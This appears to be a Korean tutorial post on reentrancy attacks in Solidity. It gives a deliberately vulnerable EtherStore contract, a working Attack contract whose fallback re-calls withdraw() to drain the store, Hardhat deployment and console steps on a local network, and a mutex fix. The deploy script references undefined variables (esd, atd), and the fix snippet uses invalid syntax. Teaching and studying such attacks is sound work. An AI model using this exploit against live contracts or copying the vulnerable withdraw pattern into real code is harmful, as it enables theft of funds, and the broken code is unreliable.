하나의 거래를 요청한 후 아직 그 거래가 완전히 처리되기 전에 다시 거래를 요청함으로써 이중 처리를 유도하는 공격 방법
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
import "hardhat/console.sol";
contract EtherStore {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
console.log("EtherStore deposit call. balance :", msg.value);
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
//console.log("withdraw call before");
(bool sent, ) = msg.sender.call{value: bal}("");
//console.log("withdraw call after");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
(bool sent, ) = msg.sender.call{value: bal}("");
msg.sender가 사용자 지갑주소(EOA)가 아닌, 컨트랙트의 주소(CA)가 된다면 컨트랙트주소.call을 하게되는데 이때 컨트랙트의 call에 함수를 선언하지 않았기 때문에 컨트랙트의 fallback함수를 호출하게됨.
ex) call(abi.encodeWithSignature(signature, a, b, c))
따라서 Attack컨트랙트의 fallback함수에 withdraw를 호출하도록 코드를 작성하면, 위 과정을 반복하게됨.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
import "./EtherStore.sol";
import "hardhat/console.sol";
contract Attack {
EtherStore public etherStore;
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
fallback() external payable {
console.log("fallback call");
if (address(etherStore).balance >= 1) {
etherStore.withdraw();
}
}
function attack() external payable {
console.log("attack call");
require(msg.value >= 1 );
etherStore.deposit{value: 1 }();
etherStore.withdraw();
}
function getBalance() public view returns (uint) {
console.log("getBalance check : ", address(this).balance);
return address(this).balance;
}
}
const hre = require("hardhat");
async function main() {
const eth_store = await hre.ethers.getContractFactory("EtherStore");
const atk = await hre.ethers.getContractFactory("Attack");
const eth_store_deploy = await eth_store .deploy();
//배포 할 때
const atk_deploy = await atk.deploy(esd.address);
//배포 확인을 위한 로그로 컨트랙트 주소 출력
console.log("EhterStore deployed to:", esd.address);
console.log("attack deployed to:", atd.address);
}
// We recommend this pattern to be able to use async/await everywhere
// and properly handle errors.
main()
.then(() => process.exit(0))
.catch((error) => {
console.error(error);
process.exit(1);
});
npx hardhat console --network localhost
const a = await ethers.getContractFactory("Attack")
const b = a.attach("0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512")
const f = await ethers.getContractFactory("EtherStore")
const k = f.attach("0x5FbDB2315678afecb367f032d93F642f64180aa3")
결과
1을 보내면서 공격코드가 동작하여
Etherstore가 가지고 있던 수량이 0이 될때까지 반복하여 4개가 됨.
bool mutex= false;
function withdraw() public {
require(!mutex);
mutex = true;
msg.sender.transfer(1 eth);
mutex = false;
}